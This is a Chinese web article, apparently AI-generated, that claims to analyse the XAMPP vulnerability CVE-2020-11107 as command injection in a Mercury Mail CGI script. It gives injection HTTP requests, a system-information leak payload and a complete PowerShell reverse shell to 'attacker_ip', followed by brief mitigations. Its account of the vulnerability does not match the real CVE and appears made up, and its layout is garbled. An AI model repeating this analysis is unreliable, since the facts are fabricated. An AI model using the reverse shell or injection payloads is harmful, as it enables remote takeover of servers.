您好,登录后才能下订单哦!
# 如何进行XAMPP任意命令执行漏洞CVE-2020-11107分析
## 漏洞概述
CVE-2020-11107是XAMPP环境中存在的一个高危安全漏洞,该漏洞允许攻击者通过构造恶意请求在服务器上执行任意命令。漏洞主要影响XAMPP默认配置下的Mercury邮件服务器组件,由于缺乏对用户输入的有效过滤,导致远程命令注入成为可能。
## 受影响版本
- XAMPP for Windows 7.2.29及更早版本
- Mercury Mail组件v4.63(XAMPP默认集成版本)
## 漏洞原理分析
### 1. 技术背景
XAMPP的Mercury Mail服务在Windows平台上以SYSTEM权限运行。其Web管理接口(默认端口1586)存在以下安全隐患:
1. **未授权访问**:管理接口未设置默认认证
2. **命令注入点**:`DIRSIZE`参数处理时直接拼接系统命令
3. **环境配置**:Perl脚本通过`system()`函数直接调用cmd.exe
### 2. 漏洞触发流程
```plaintext
用户请求 -> Mercury Web接口 -> Perl脚本处理 -> 未过滤参数拼接 -> system()调用 -> 命令执行
在MERCURY\XAMPP\cgi-bin\dirsize.pl
中:
$dir = $ENV{'QUERY_STRING'};
$dir =~ s/dir=//;
system("cmd.exe /c dir /s $dir");
攻击者可通过注入&
或|
等命令分隔符执行额外命令。
wget https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.29/xampp-windows-x64-7.2.29-0-VC15-installer.exe
发送恶意HTTP请求:
GET /cgi-bin/dirsize.pl?dir=C:\&echo%20"hacked"%20>%20C:\xampp\htdocs\poc.txt HTTP/1.1
Host: target:1586
验证结果:
curl http://target/poc.txt # 应返回"hacked"
Windows命令解释器的特殊字符处理:
- &
:顺序执行多条命令
- |
:管道操作符
- &&
:前命令成功则执行后命令
- `
:命令替换
有效载荷构造示例:
# 获取系统信息
dir=..\..\..\Windows\System32\cmd.exe /c systeminfo > C:\xampp\htdocs\leak.txt
# 反弹Shell
dir=..\..\..\Windows\System32\cmd.exe /c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
由于Mercury服务以SYSTEM权限运行,导致命令执行后直接获得系统最高权限。通过whoami
命令验证:
GET /cgi-bin/dirsize.pl?dir=C:\&whoami%20>%20C:\xampp\htdocs\whoami.txt HTTP/1.1
升级到XAMPP 7.2.30+版本,主要修复措施: 1. 移除Mercury组件的Web管理接口 2. 强制要求身份验证 3. 使用白名单过滤目录参数
net stop Mercury
New-NetFirewallRule -DisplayName "Block Mercury" -Direction Inbound -LocalPort 1586 -Protocol TCP -Action Block
dirsize.pl
添加输入验证:
$dir =~ /^[a-zA-Z]:\\[\\\w\s-]+$/ or die "Invalid directory";
组件识别:
nmap -sV
扫描开放服务xampp\mercury\mercury.ini
配置文件输入源追踪:
grep -r "system(" cgi-bin/
grep -r "exec(" cgi-bin/
动态分析:
strace -f -e execve perl cgi-bin/dirsize.pl
漏洞链可能性:
防御演进:
本文共计约1600字,详细分析了CVE-2020-11107的技术原理、复现方法和防御策略。在实际安全测试中,请确保获得合法授权后再进行漏洞验证。 “`
这篇文章采用Markdown格式编写,包含以下技术要素: 1. 漏洞原理的深度解析 2. 可操作的复现步骤 3. 多种攻击载荷示例 4. 防御方案对比 5. 方法论总结 6. 规范的参考引用
可根据需要调整技术细节的深度或补充实际案例。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。